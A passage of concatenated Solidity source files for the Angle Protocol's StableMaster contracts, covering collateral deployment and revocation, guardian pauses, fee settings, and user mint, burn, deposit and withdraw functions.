Changes the guardian address /// @param newGuardian New guardian address /// @param oldGuardian Old guardian address /// @dev This function propagates changes from `Core` to other contracts /// @dev The zero check for the guardian address has already been performed by the `Core` /// contract function setGuardian(address newGuardian, address oldGuardian) external override onlyRole(CORE_ROLE) { _revokeRole(GUARDIAN_ROLE, oldGuardian); _grantRole(GUARDIAN_ROLE, newGuardian); for (uint256 i = 0; i < _managerList.length; i++) { _managerList[i].setGuardian(newGuardian, oldGuardian); } } /// @notice Revokes the guardian address /// @param oldGuardian Guardian address to revoke /// @dev This function propagates changes from `Core` to other contracts function revokeGuardian(address oldGuardian) external override onlyRole(CORE_ROLE) { _revokeRole(GUARDIAN_ROLE, oldGuardian); for (uint256 i = 0; i < _managerList.length; i++) { _managerList[i].revokeGuardian(oldGuardian); } } // ============================= Governor Functions ============================ /// @notice Deploys a new collateral by creating the correct references in the corresponding contracts /// @param poolManager Contract managing and storing this collateral for this stablecoin /// @param perpetualManager Contract managing HA perpetuals for this stablecoin /// @param oracle Reference to the oracle that will give the price of the collateral with respect to the stablecoin /// @param sanToken Reference to the sanTokens associated to the collateral /// @dev All the references in parameters should correspond to contracts that have already been deployed and /// initialized with appropriate references /// @dev After calling this function, governance should initialize all parameters corresponding to this new collateral function deployCollateral( IPoolManager poolManager, IPerpetualManager perpetualManager, IFeeManager feeManager, IOracle oracle, ISanToken sanToken ) external onlyRole(GOVERNOR_ROLE) { // If the `sanToken`, `poolManager`, `perpetualManager` and `feeManager` were zero // addresses, the following require would fail // The only elements that are checked here are those that are defined in the constructors/initializers // of the concerned contracts require( sanToken.stableMaster() == address(this) && sanToken.poolManager() == address(poolManager) && poolManager.stableMaster() == address(this) && perpetualManager.poolManager() == address(poolManager) && // If the `feeManager` is not initialized with the correct `poolManager` then this function // will revert when `poolManager.deployCollateral` will be executed feeManager.stableMaster() == address(this), "9" ); // Checking if the base of the tokens and of the oracle are not similar with one another address token = poolManager.token(); uint256 collatBase = 10**(IERC20Metadata(token).decimals()); // If the address of the oracle was the zero address, the following would revert require(oracle.inBase() == collatBase, "11"); // Checking if the collateral has not already been deployed Collateral storage col = collateralMap[poolManager]; require(address(col.token) == address(0), "13"); // Creating the correct references col.token = IERC20(token); col.sanToken = sanToken; col.perpetualManager = perpetualManager; col.oracle = oracle; // Initializing with the correct values col.sanRate = BASE_TOKENS; col.collatBase = collatBase; // Adding the correct references in the `contractMap` we use in order not to have to pass addresses when // calling the `StableMaster` from the `PerpetualManager` contract, or the `FeeManager` contract // This is equivalent to granting Access Control roles for these contracts _contractMap[address(perpetualManager)] = poolManager; _contractMap[address(feeManager)] = poolManager; _managerList.push(poolManager); // Pausing agents at deployment to leave governance time to set parameters // The `PerpetualManager` contract is automatically paused after being initialized, so HAs will not be able to // interact with the protocol _pause(keccak256(abi.encodePacked(SLP, address(poolManager)))); _pause(keccak256(abi.encodePacked(STABLE, address(poolManager)))); // Fetching the governor list and the guardian to initialize the `poolManager` correctly address[] memory governorList = _core.governorList(); address guardian = _core.guardian(); // Propagating the deployment and passing references to the corresponding contracts poolManager.deployCollateral(governorList, guardian, perpetualManager, feeManager, oracle); emit CollateralDeployed(address(poolManager), address(perpetualManager), address(sanToken), address(oracle)); } /// @notice Removes a collateral from the list of accepted collateral types and pauses all actions associated /// to this collateral /// @param poolManager Reference to the contract managing this collateral for this stablecoin in the protocol /// @param settlementContract Settlement contract that will be used to close everyone's positions and to let /// users, SLPs and HAs redeem if not all a portion of their claim /// @dev Since this function has the ability to transfer the contract's funds to another contract, it should /// only be accessible to the governor /// @dev Before calling this function, governance should make sure that all the collateral lent to strategies /// has been withdrawn function revokeCollateral(IPoolManager poolManager, ICollateralSettler settlementContract) external onlyRole(GOVERNOR_ROLE) { // Checking if the `poolManager` given here is well in the list of managers and taking advantage of that to remove // the `poolManager` from the list uint256 indexMet; uint256 managerListLength = _managerList.length; require(managerListLength >= 1, "10"); for (uint256 i = 0; i < managerListLength - 1; i++) { if (_managerList[i] == poolManager) { indexMet = 1; _managerList[i] = _managerList[managerListLength - 1]; break; } } require(indexMet == 1 || _managerList[managerListLength - 1] == poolManager, "10"); _managerList.pop(); Collateral memory col = collateralMap[poolManager]; // Deleting the references of the associated contracts: `perpetualManager` and `keeper` in the // `_contractMap` and `poolManager` from the `collateralMap` delete _contractMap[poolManager.feeManager()]; delete _contractMap[address(col.perpetualManager)]; delete collateralMap[poolManager]; emit CollateralRevoked(address(poolManager)); // Pausing entry (and exits for HAs) col.perpetualManager.pause(); // No need to pause `SLP` and `STABLE_HOLDERS` as deleting the entry associated to the `poolManager` // in the `collateralMap` will make everything revert // Transferring the whole balance to global settlement uint256 balance = col.token.balanceOf(address(poolManager)); col.token.safeTransferFrom(address(poolManager), address(settlementContract), balance); // Settlement works with a fixed oracle value for HAs, it needs to be computed here uint256 oracleValue = col.oracle.readLower(); // Notifying the global settlement contract with the properties of the contract to settle // In case of global shutdown, there would be one settlement contract per collateral type // Not using the `lockedInterests` to update the value of the sanRate settlementContract.triggerSettlement(oracleValue, col.sanRate, col.stocksUsers); } // ============================= Guardian Functions ============================ /// @notice Pauses an agent's actions within this contract for a given collateral type for this stablecoin /// @param agent Bytes representing the agent (`SLP` or `STABLE`) and the collateral type that is going to /// be paused. To get the `bytes32` from a string, we use in Solidity a `keccak256` function /// @param poolManager Reference to the contract managing this collateral for this stablecoin in the protocol and /// for which `agent` needs to be paused /// @dev If agent is `STABLE`, it is going to be impossible for users to mint stablecoins using collateral or to burn /// their stablecoins /// @dev If agent is `SLP`, it is going to be impossible for SLPs to deposit collateral and receive /// sanTokens in exchange, or to withdraw collateral from their sanTokens function pause(bytes32 agent, IPoolManager poolManager) external override onlyRole(GUARDIAN_ROLE) { Collateral storage col = collateralMap[poolManager]; // Checking for the `poolManager` _contractMapCheck(col); _pause(keccak256(abi.encodePacked(agent, address(poolManager)))); } /// @notice Unpauses an agent's action for a given collateral type for this stablecoin /// @param agent Agent (`SLP` or `STABLE`) to unpause the action of /// @param poolManager Reference to the associated `PoolManager` /// @dev Before calling this function, the agent should have been paused for this collateral function unpause(bytes32 agent, IPoolManager poolManager) external override onlyRole(GUARDIAN_ROLE) { Collateral storage col = collateralMap[poolManager]; // Checking for the `poolManager` _contractMapCheck(col); _unpause(keccak256(abi.encodePacked(agent, address(poolManager)))); } /// @notice Updates the `stocksUsers` for a given pair of collateral /// @param amount Amount of `stocksUsers` to transfer from a pool to another /// @param poolManagerUp Reference to `PoolManager` for which `stocksUsers` needs to increase /// @param poolManagerDown Reference to `PoolManager` for which `stocksUsers` needs to decrease /// @dev This function can be called in case where the reserves of the protocol for each collateral do not exactly /// match what is stored in the `stocksUsers` because of increases or decreases in collateral prices at times /// in which the protocol was not fully hedged by HAs /// @dev With this function, governance can allow/prevent more HAs coming in a pool while preventing/allowing HAs /// from other pools because the accounting variable of `stocksUsers` does not really match function rebalanceStocksUsers( uint256 amount, IPoolManager poolManagerUp, IPoolManager poolManagerDown ) external onlyRole(GUARDIAN_ROLE) { Collateral storage colUp = collateralMap[poolManagerUp]; Collateral storage colDown = collateralMap[poolManagerDown]; // Checking for the `poolManager` _contractMapCheck(colUp); _contractMapCheck(colDown); // The invariant `col.stocksUsers <= col.capOnStableMinted` should remain true even after a // governance update require(colUp.stocksUsers + amount <= colUp.feeData.capOnStableMinted, "8"); colDown.stocksUsers -= amount; colUp.stocksUsers += amount; emit StocksUsersUpdated(address(colUp.token), colUp.stocksUsers); emit StocksUsersUpdated(address(colDown.token), colDown.stocksUsers); } /// @notice Propagates the change of oracle for one collateral to all the contracts which need to have /// the correct oracle reference /// @param _oracle New oracle contract for the pair collateral/stablecoin /// @param poolManager Reference to the `PoolManager` contract associated to the collateral function setOracle(IOracle _oracle, IPoolManager poolManager) external onlyRole(GOVERNOR_ROLE) zeroCheck(address(_oracle)) { Collateral storage col = collateralMap[poolManager]; // Checking for the `poolManager` _contractMapCheck(col); require(col.oracle != _oracle, "12"); // The `inBase` of the new oracle should be the same as the `_collatBase` stored for this collateral require(col.collatBase == _oracle.inBase(), "11"); col.oracle = _oracle; emit OracleUpdated(address(poolManager), address(_oracle)); col.perpetualManager.setOracle(_oracle); } /// @notice Changes the parameters to cap the number of stablecoins you can issue using one /// collateral type and the maximum interests you can distribute to SLPs in a sanRate update /// in a block /// @param _capOnStableMinted New value of the cap /// @param _maxInterestsDistributed Maximum amount of interests distributed to SLPs in a block /// @param poolManager Reference to the `PoolManager` contract associated to the collateral function setCapOnStableAndMaxInterests( uint256 _capOnStableMinted, uint256 _maxInterestsDistributed, IPoolManager poolManager ) external override onlyRole(GUARDIAN_ROLE) { Collateral storage col = collateralMap[poolManager]; // Checking for the `poolManager` _contractMapCheck(col); // The invariant `col.stocksUsers <= col.capOnStableMinted` should remain true even after a // governance update require(_capOnStableMinted >= col.stocksUsers, "8"); col.feeData.capOnStableMinted = _capOnStableMinted; col.slpData.maxInterestsDistributed = _maxInterestsDistributed; emit CapOnStableAndMaxInterestsUpdated(address(poolManager), _capOnStableMinted, _maxInterestsDistributed); } /// @notice Sets a new `FeeManager` contract and removes the old one which becomes useless /// @param newFeeManager New `FeeManager` contract /// @param oldFeeManager Old `FeeManager` contract /// @param poolManager Reference to the contract managing this collateral for this stablecoin in the protocol /// and associated to the `FeeManager` to update function setFeeManager( address newFeeManager, address oldFeeManager, IPoolManager poolManager ) external onlyRole(GUARDIAN_ROLE) zeroCheck(newFeeManager) { Collateral storage col = collateralMap[poolManager]; // Checking for the `poolManager` _contractMapCheck(col); require(_contractMap[oldFeeManager] == poolManager, "10"); require(newFeeManager != oldFeeManager, "14"); delete _contractMap[oldFeeManager]; _contractMap[newFeeManager] = poolManager; emit FeeManagerUpdated(address(poolManager), newFeeManager); poolManager.setFeeManager(IFeeManager(newFeeManager)); } /// @notice Sets the proportion of fees from burn/mint of users and the proportion /// of lending interests going to SLPs /// @param _feesForSLPs New proportion of mint/burn fees going to SLPs /// @param _interestsForSLPs New proportion of interests from lending going to SLPs /// @dev The higher these proportions the bigger the APY for SLPs /// @dev These proportions should be inferior to `BASE_PARAMS` function setIncentivesForSLPs( uint64 _feesForSLPs, uint64 _interestsForSLPs, IPoolManager poolManager ) external override onlyRole(GUARDIAN_ROLE) onlyCompatibleFees(_feesForSLPs) onlyCompatibleFees(_interestsForSLPs) { Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); col.slpData.feesForSLPs = _feesForSLPs; col.slpData.interestsForSLPs = _interestsForSLPs; emit SLPsIncentivesUpdated(address(poolManager), _feesForSLPs, _interestsForSLPs); } /// @notice Sets the x array (ie ratios between amount hedged by HAs and amount to hedge) /// and the y array (ie values of fees at thresholds) used to compute mint and burn fees for users /// @param poolManager Reference to the `PoolManager` handling the collateral /// @param _xFee Thresholds of hedge ratios /// @param _yFee Values of the fees at thresholds /// @param _mint Whether mint fees or burn fees should be updated /// @dev The evolution of the fees between two thresholds is linear /// @dev The length of the two arrays should be the same /// @dev The values of `_xFee` should be in ascending order /// @dev For mint fees, values in the y-array below should normally be decreasing: the higher the `x` the cheaper /// it should be for stable seekers to come in as a high `x` corresponds to a high demand for volatility and hence /// to a situation where all the collateral can be hedged /// @dev For burn fees, values in the array below should normally be decreasing: the lower the `x` the cheaper it should /// be for stable seekers to go out, as a low `x` corresponds to low demand for volatility and hence /// to a situation where the protocol has a hard time covering its collateral function setUserFees( IPoolManager poolManager, uint64[] memory _xFee, uint64[] memory _yFee, uint8 _mint ) external override onlyRole(GUARDIAN_ROLE) onlyCompatibleInputArrays(_xFee, _yFee) { Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); if (_mint > 0) { col.feeData.xFeeMint = _xFee; col.feeData.yFeeMint = _yFee; } else { col.feeData.xFeeBurn = _xFee; col.feeData.yFeeBurn = _yFee; } emit FeeArrayUpdated(address(poolManager), _xFee, _yFee, _mint); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../external/AccessControlUpgradeable.sol"; import "../interfaces/IAgToken.sol"; import "../interfaces/ICollateralSettler.sol"; import "../interfaces/ICore.sol"; import "../interfaces/IFeeManager.sol"; import "../interfaces/IOracle.sol"; import "../interfaces/IPerpetualManager.sol"; import "../interfaces/IPoolManager.sol"; import "../interfaces/ISanToken.sol"; import "../interfaces/IStableMaster.sol"; import "../utils/FunctionUtils.sol"; import "../utils/PausableMapUpgradeable.sol"; /// @title StableMasterEvents /// @author Angle Core Team /// @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin /// It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs /// @dev This file contains all the events of the `StableMaster` contract contract StableMasterEvents { event SanRateUpdated(address indexed _token, uint256 _newSanRate); event StocksUsersUpdated(address indexed _poolManager, uint256 _stocksUsers); event MintedStablecoins(address indexed _poolManager, uint256 amount, uint256 amountForUserInStable); event BurntStablecoins(address indexed _poolManager, uint256 amount, uint256 redeemInC); // ============================= Governors ===================================== event CollateralDeployed( address indexed _poolManager, address indexed _perpetualManager, address indexed _sanToken, address _oracle ); event CollateralRevoked(address indexed _poolManager); // ========================= Parameters update ================================= event OracleUpdated(address indexed _poolManager, address indexed _oracle); event FeeManagerUpdated(address indexed _poolManager, address indexed newFeeManager); event CapOnStableAndMaxInterestsUpdated( address indexed _poolManager, uint256 _capOnStableMinted, uint256 _maxInterestsDistributed ); event SLPsIncentivesUpdated(address indexed _poolManager, uint64 _feesForSLPs, uint64 _interestsForSLPs); event FeeArrayUpdated(address indexed _poolManager, uint64[] _xFee, uint64[] _yFee, uint8 _type); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./StableMaster.sol"; /// @title StableMasterFront /// @author Angle Core Team /// @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin /// It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs /// @dev This file contains the front end, that is all external functions associated to the given stablecoin contract StableMasterFront is StableMaster { using SafeERC20 for IERC20; // ============================ CONSTRUCTORS AND DEPLOYERS ===================== /// @notice Initializes the `StableMaster` contract /// @param core_ Address of the `Core` contract handling all the different `StableMaster` contracts function initialize(address core_) external zeroCheck(core_) initializer { __AccessControl_init(); // Access control _core = ICore(core_); _setupRole(CORE_ROLE, core_); // `Core` is admin of all roles _setRoleAdmin(CORE_ROLE, CORE_ROLE); _setRoleAdmin(GOVERNOR_ROLE, CORE_ROLE); _setRoleAdmin(GUARDIAN_ROLE, CORE_ROLE); // All the roles that are specific to a given collateral can be changed by the governor // in the `deployCollateral`, `revokeCollateral` and `setFeeManager` functions by updating the `contractMap` } /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} // ============================= USERS ========================================= /// @notice Lets a user send collateral to the system to mint stablecoins /// @param amount Amount of collateral sent /// @param user Address of the contract or the person to give the minted tokens to /// @param poolManager Address of the `PoolManager` of the required collateral /// @param minStableAmount Minimum amount of stablecoins the user wants to get with this transaction /// @dev This function works as a swap from a user perspective from collateral to stablecoins /// @dev It is impossible to mint tokens and to have them sent to the zero address: there /// would be an issue with the `_mint` function called by the `AgToken` contract /// @dev The parameter `minStableAmount` serves as a slippage protection for users /// @dev From a user perspective, this function is equivalent to a swap between collateral and /// stablecoins function mint( uint256 amount, address user, IPoolManager poolManager, uint256 minStableAmount ) external { Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); // Checking if the contract is paused for this agent _whenNotPaused(STABLE, address(poolManager)); // No overflow check are needed for the amount since it's never casted to `int` and Solidity 0.8.0 // automatically handles overflows col.token.safeTransferFrom(msg.sender, address(poolManager), amount); // Getting a quote for the amount of stablecoins to issue // We read the lowest oracle value we get for this collateral/stablecoin pair: it's the one // that is most at the advantage of the protocol // Decimals are handled directly in the oracle contract uint256 amountForUserInStable = col.oracle.readQuoteLower(amount); // Getting the fees paid for this transaction, expressed in `BASE_PARAMS` // Floor values are taken for fees computation, as what is earned by users is lost by SLP // when calling `_updateSanRate` and vice versa uint256 fees = _computeFeeMint(amountForUserInStable, col); // Computing the net amount that will be taken into account for this user by deducing fees amountForUserInStable = (amountForUserInStable * (BASE_PARAMS - fees)) / BASE_PARAMS; // Checking if the user got more stablecoins than the least amount specified in the parameters of the // function require(amountForUserInStable >= minStableAmount, "15"); // Updating the `stocksUsers` for this collateral, that is the amount of collateral that was // brought by users col.stocksUsers += amountForUserInStable; // Checking if stablecoins can still be issued using this collateral type require(col.stocksUsers <= col.feeData.capOnStableMinted, "16"); // Event needed to track `col.stocksUsers` off-chain emit MintedStablecoins(address(poolManager), amount, amountForUserInStable); // Distributing the fees taken to SLPs // The `fees` variable computed above is a proportion expressed in `BASE_PARAMS`. // To compute the amount of fees in collateral value, we can directly use the `amount` of collateral // entered by the user // Not all the fees are distributed to SLPs, a portion determined by `col.slpData.feesForSLPs` goes to surplus _updateSanRate((amount * fees * col.slpData.feesForSLPs) / (BASE_PARAMS**2), col); // Minting agToken.mint(user, amountForUserInStable); } /// @notice Lets a user burn agTokens (stablecoins) and receive the collateral specified by the `poolManager` /// in exchange /// @param amount Amount of stable asset burnt /// @param burner Address from which the agTokens will be burnt /// @param dest Address where collateral is going to be /// @param poolManager Collateral type requested by the user burning /// @param minCollatAmount Minimum amount of collateral that the user is willing to get for this transaction /// @dev The `msg.sender` should have approval to burn from the `burner` or the `msg.sender` should be the `burner` /// @dev If there are not enough reserves this transaction will revert and the user will have to come back to the /// protocol with a correct amount. Checking for the reserves currently available in the `PoolManager` /// is something that should be handled by the front interacting with this contract /// @dev In case there are not enough reserves, strategies should be harvested or their debt ratios should be adjusted /// by governance to make sure that users, HAs or SLPs withdrawing always have free collateral they can use /// @dev From a user perspective, this function is equivalent to a swap from stablecoins to collateral function burn( uint256 amount, address burner, address dest, IPoolManager poolManager, uint256 minCollatAmount ) external { // Searching collateral data Collateral storage col = collateralMap[poolManager]; // Checking the collateral requested _contractMapCheck(col); _whenNotPaused(STABLE, address(poolManager)); // Checking if the amount is not going to make the `stocksUsers` negative // A situation like that is likely to happen if users mint using one collateral type and in volume redeem // another collateral type // In this situation, governance should rapidly react to pause the pool and then rebalance the `stocksUsers` // between different collateral types, or at least rebalance what is stored in the reserves through // the `recoverERC20` function followed by a swap and then a transfer require(amount <= col.stocksUsers, "17"); // Burning the tokens will revert if there are not enough tokens in balance or if the `msg.sender` // does not have approval from the burner // A reentrancy attack is potentially possible here as state variables are written after the burn, // but as the `AgToken` is a protocol deployed contract, it can be trusted. Still, `AgToken` is // upgradeable by governance, the following could become risky in case of a governance attack if (burner == msg.sender) { agToken.burnSelf(amount, burner); } else { agToken.burnFrom(amount, burner, msg.sender); } // Getting the highest possible oracle value uint256 oracleValue = col.oracle.readUpper(); // Converting amount of agTokens in collateral and computing how much should be reimbursed to the user // Amount is in `BASE_TOKENS` and the outputted collateral amount should be in collateral base uint256 amountInC = (amount * col.collatBase) / oracleValue; // Computing how much of collateral can be redeemed by the user after taking fees // The value of the fees here is `_computeFeeBurn(amount,col)` (it is a proportion expressed in `BASE_PARAMS`) // The real value of what can be redeemed by the user is `amountInC * (BASE_PARAMS - fees) / BASE_PARAMS`, // but we prefer to avoid doing multiplications after divisions uint256 redeemInC = (amount * (BASE_PARAMS - _computeFeeBurn(amount, col)) * col.collatBase) / (oracleValue * BASE_PARAMS); require(redeemInC >= minCollatAmount, "15"); // Updating the `stocksUsers` that is the amount of collateral that was brought by users col.stocksUsers -= amount; // Event needed to track `col.stocksUsers` off-chain emit BurntStablecoins(address(poolManager), amount, redeemInC); // Computing the exact amount of fees from this transaction and accumulating it for SLPs _updateSanRate(((amountInC - redeemInC) * col.slpData.feesForSLPs) / BASE_PARAMS, col); col.token.safeTransferFrom(address(poolManager), dest, redeemInC); } // ============================== SLPs ========================================= /// @notice Lets a SLP enter the protocol by sending collateral to the system in exchange of sanTokens /// @param user Address of the SLP to send sanTokens to /// @param amount Amount of collateral sent /// @param poolManager Address of the `PoolManager` of the required collateral function deposit( uint256 amount, address user, IPoolManager poolManager ) external { // Searching collateral data Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); _whenNotPaused(SLP, address(poolManager)); _updateSanRate(0, col); // No overflow check needed for the amount since it's never casted to int and Solidity versions above 0.8.0 // automatically handle overflows col.token.safeTransferFrom(msg.sender, address(poolManager), amount); col.sanToken.mint(user, (amount * BASE_TOKENS) / col.sanRate); } /// @notice Lets a SLP burn of sanTokens and receive the corresponding collateral back in exchange at the /// current exchange rate between sanTokens and collateral /// @param amount Amount of sanTokens burnt by the SLP /// @param burner Address that will burn its sanTokens /// @param dest Address that will receive the collateral /// @param poolManager Address of the `PoolManager` of the required collateral /// @dev The `msg.sender` should have approval to burn from the `burner` or the `msg.sender` should be the `burner` /// @dev This transaction will fail if the `PoolManager` does not have enough reserves, the front will however be here /// to notify them that they cannot withdraw /// @dev In case there are not enough reserves, strategies should be harvested or their debt ratios should be adjusted /// by governance to make sure that users, HAs or SLPs withdrawing always have free collateral they can use function withdraw( uint256 amount, address burner, address dest, IPoolManager poolManager ) external { Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); _whenNotPaused(SLP, address(poolManager)); _updateSanRate(0, col); if (burner == msg.sender) { col.sanToken.burnSelf(amount, burner); } else { col.sanToken.burnFrom(amount, burner, msg.sender); } // Computing the amount of collateral to give back to the SLP depending on slippage and on the `sanRate` uint256 redeemInC = (amount * (BASE_PARAMS - col.slpData.slippage) * col.sanRate) / (BASE_TOKENS * BASE_PARAMS); col.token.safeTransferFrom(address(poolManager), dest, redeemInC); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./StableMasterStorage.sol"; /// @title StableMasterInternal /// @author Angle Core Team /// @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin /// It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs /// @dev This file contains all the internal function of the `StableMaster` contract contract StableMasterInternal is StableMasterStorage, PausableMapUpgradeable { /// @notice Checks if the `msg.sender` calling the contract has the right to do it /// @param col Struct for the collateral associated to the caller address /// @dev Since the `StableMaster` contract uses a `contractMap` that stores addresses of some verified /// protocol's contracts in it, and since the roles corresponding to these addresses are never admin roles /// it is cheaper not to use for these contracts OpenZeppelin's access control logic /// @dev A non null associated token address is what is used to check if a `PoolManager` has well been initialized /// @dev We could set `PERPETUALMANAGER_ROLE`, `POOLMANAGER_ROLE` and `FEEMANAGER_ROLE` for this /// contract, but this would actually be inefficient function _contractMapCheck(Collateral storage col) internal view { require(address(col.token) != address(0), "3"); } /// @notice Checks if the protocol has been paused for an agent and for a given collateral type for this /// stablecoin /// @param agent Name of the agent to check, it is either going to be `STABLE` or `SLP` /// @param poolManager `PoolManager` contract for which to check pauses function _whenNotPaused(bytes32 agent, address poolManager) internal view { require(!paused[keccak256(abi.encodePacked(agent, poolManager))], "18"); } /// @notice Updates the `sanRate` that is the exchange rate between sanTokens given to SLPs and collateral or /// accumulates fees to be distributed to SLPs before doing it at next block /// @param toShare Amount of interests that needs to be redistributed to the SLPs through the `sanRate` /// @param col Struct for the collateral of interest here which values are going to be updated /// @dev This function can only increase the `sanRate` and is not used to take into account a loss made through /// lending or another yield farming strategy: this is done in the `signalLoss` function /// @dev The `sanRate` is only be updated from the fees accumulated from previous blocks and the fees to share to SLPs /// are just accumulated to be distributed at next block /// @dev A flashloan attack could consist in seeing fees to be distributed, deposit, increase the `sanRate` and then /// withdraw: what is done with the `lockedInterests` parameter is a way to mitigate that /// @dev Another solution against flash loans would be to have a non null `slippage` at all times: this is far from ideal /// for SLPs in the first place function _updateSanRate(uint256 toShare, Collateral storage col) internal { uint256 _lockedInterests = col.slpData.lockedInterests; // Checking if the `sanRate` has been updated in the current block using past block fees // This is a way to prevent flash loans attacks when an important amount of fees are going to be distributed // in a block: fees are stored but will just be distributed to SLPs who will be here during next blocks if (block.timestamp != col.slpData.lastBlockUpdated && _lockedInterests > 0) { uint256 sanMint = col.sanToken.totalSupply(); if (sanMint != 0) { // Checking if the update is too important and should be made in multiple blocks if (_lockedInterests > col.slpData.maxInterestsDistributed) { // `sanRate` is expressed in `BASE_TOKENS` col.sanRate += (col.slpData.maxInterestsDistributed * BASE_TOKENS) / sanMint; _lockedInterests -= col.slpData.maxInterestsDistributed; } else { col.sanRate += (_lockedInterests * BASE_TOKENS) / sanMint; _lockedInterests = 0; } emit SanRateUpdated(address(col.token), col.sanRate); } else { _lockedInterests = 0; } } // Adding the fees to be distributed at next block if (toShare != 0) { if ((col.slpData.slippageFee == 0) && (col.slpData.feesAside != 0)) { // If the collateral ratio is big enough, all the fees or gains will be used to update the `sanRate` // If there were fees or lending gains that had been put aside, they will be added in this case to the // update of the `sanRate` toShare += col.slpData.feesAside; col.slpData.feesAside = 0; } else if (col.slpData.slippageFee != 0) { // Computing the fraction of fees and gains that should be left aside if the collateral ratio is too small uint256 aside = (toShare * col.slpData.slippageFee) / BASE_PARAMS; toShare -= aside; // The amount of fees left aside should be rounded above col.slpData.feesAside += aside; } // Updating the amount of fees to be distributed next block _lockedInterests += toShare; } col.slpData.lockedInterests = _lockedInterests; col.slpData.lastBlockUpdated = block.timestamp; } /// @notice Computes the current fees to be taken when minting using `amount` of collateral /// @param amount Amount of collateral in the transaction to get stablecoins /// @param col Struct for the collateral of interest /// @return feeMint Mint Fees taken to users expressed in collateral /// @dev Fees depend on the hedge ratio that is the ratio between what is hedged by HAs and what should be hedged /// @dev The more is hedged by HAs, the smaller fees are expected to be /// @dev Fees are also corrected by the `bonusMalusMint` parameter which induces a dependence in collateral ratio function _computeFeeMint(uint256 amount, Collateral storage col) internal view returns (uint256 feeMint) { uint64 feeMint64; if (col.feeData.xFeeMint.length == 1) { // This is done to avoid an external call in the case where the fees are constant regardless of the collateral // ratio feeMint64 = col.feeData.yFeeMint[0]; } else { uint64 hedgeRatio = _computeHedgeRatio(amount + col.stocksUsers, col); // Computing the fees based on the spread feeMint64 = _piecewiseLinear(hedgeRatio, col.feeData.xFeeMint, col.feeData.yFeeMint); } // Fees could in some occasions depend on other factors like collateral ratio // Keepers are the ones updating this part of the fees feeMint = (feeMint64 * col.feeData.bonusMalusMint) / BASE_PARAMS; } /// @notice Computes the current fees to be taken when burning stablecoins /// @param amount Amount of collateral corresponding to the stablecoins burnt in the transaction /// @param col Struct for the collateral of interest /// @return feeBurn Burn fees taken to users expressed in collateral /// @dev The amount is obtained after the amount of agTokens sent is converted in collateral /// @dev Fees depend on the hedge ratio that is the ratio between what is hedged by HAs and what should be hedged /// @dev The more is hedged by HAs, the higher fees are expected to be /// @dev Fees are also corrected by the `bonusMalusBurn` parameter which induces a dependence in collateral ratio function _computeFeeBurn(uint256 amount, Collateral storage col) internal view returns (uint256 feeBurn) { uint64 feeBurn64; if (col.feeData.xFeeBurn.length == 1) { // Avoiding an external call if fees are constant feeBurn64 = col.feeData.yFeeBurn[0]; } else { uint64 hedgeRatio = _computeHedgeRatio(col.stocksUsers - amount, col); // Computing the fees based on the spread feeBurn64 = _piecewiseLinear(hedgeRatio, col.feeData.xFeeBurn, col.feeData.yFeeBurn); } // Fees could in some occasions depend on other factors like collateral ratio // Keepers are the ones updating this part of the fees feeBurn = (feeBurn64 * col.feeData.bonusMalusBurn) / BASE_PARAMS; } /// @notice Computes the hedge ratio that is the ratio between the amount of collateral hedged by HAs /// divided by the amount that should be hedged /// @param newStocksUsers Value of the collateral from users to hedge /// @param col Struct for the collateral of interest /// @return ratio Ratio between what's hedged divided what's to hedge /// @dev This function is typically called to compute mint or burn fees /// @dev It seeks from the `PerpetualManager` contract associated to the collateral the total amount /// already hedged by HAs and compares it to the amount to hedge function _computeHedgeRatio(uint256 newStocksUsers, Collateral storage col) internal view returns (uint64 ratio) { // Fetching the amount hedged by HAs from the corresponding `perpetualManager` contract uint256 totalHedgeAmount = col.perpetualManager.totalHedgeAmount(); newStocksUsers = (col.feeData.targetHAHedge * newStocksUsers) / BASE_PARAMS; if (newStocksUsers > totalHedgeAmount) ratio = uint64((totalHedgeAmount * BASE_PARAMS) / newStocksUsers); else ratio = uint64(BASE_PARAMS); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./StableMasterEvents.sol"; /// @title StableMasterStorage /// @author Angle Core Team /// @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin /// It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs /// @dev This file contains all the variables and parameters used in the `StableMaster` contract contract StableMasterStorage is StableMasterEvents, FunctionUtils { // All the details about a collateral that are going to be stored in `StableMaster` struct Collateral { // Interface for the token accepted by the underlying `PoolManager` contract IERC20 token; // Reference to the `SanToken` for the pool ISanToken sanToken; // Reference to the `PerpetualManager` for the pool IPerpetualManager perpetualManager; // Adress of the oracle for the change rate between // collateral and the corresponding stablecoin IOracle oracle; // Amount of collateral in the reserves that comes from users // converted in stablecoin value. Updated at minting and burning. // A `stocksUsers` of 10 for a collateral type means that overall the balance of the collateral from users // that minted/burnt stablecoins using this collateral is worth 10 of stablecoins uint256 stocksUsers; // Exchange rate between sanToken and collateral uint256 sanRate; // Base used in the collateral implementation (ERC20 decimal) uint256 collatBase; // Parameters for SLPs and update of the `sanRate` SLPData slpData; // All the fees parameters MintBurnData feeData; } // ============================ Variables and References ===================================== /// @notice Maps a `PoolManager` contract handling a collateral for this stablecoin to the properties of the struct above mapping(IPoolManager => Collateral) public collateralMap; /// @notice Reference to the `AgToken` used in this `StableMaster` /// This reference cannot be changed IAgToken public agToken; // Maps a contract to an address corresponding to the `IPoolManager` address // It is typically used to avoid passing in parameters the address of the `PerpetualManager` when 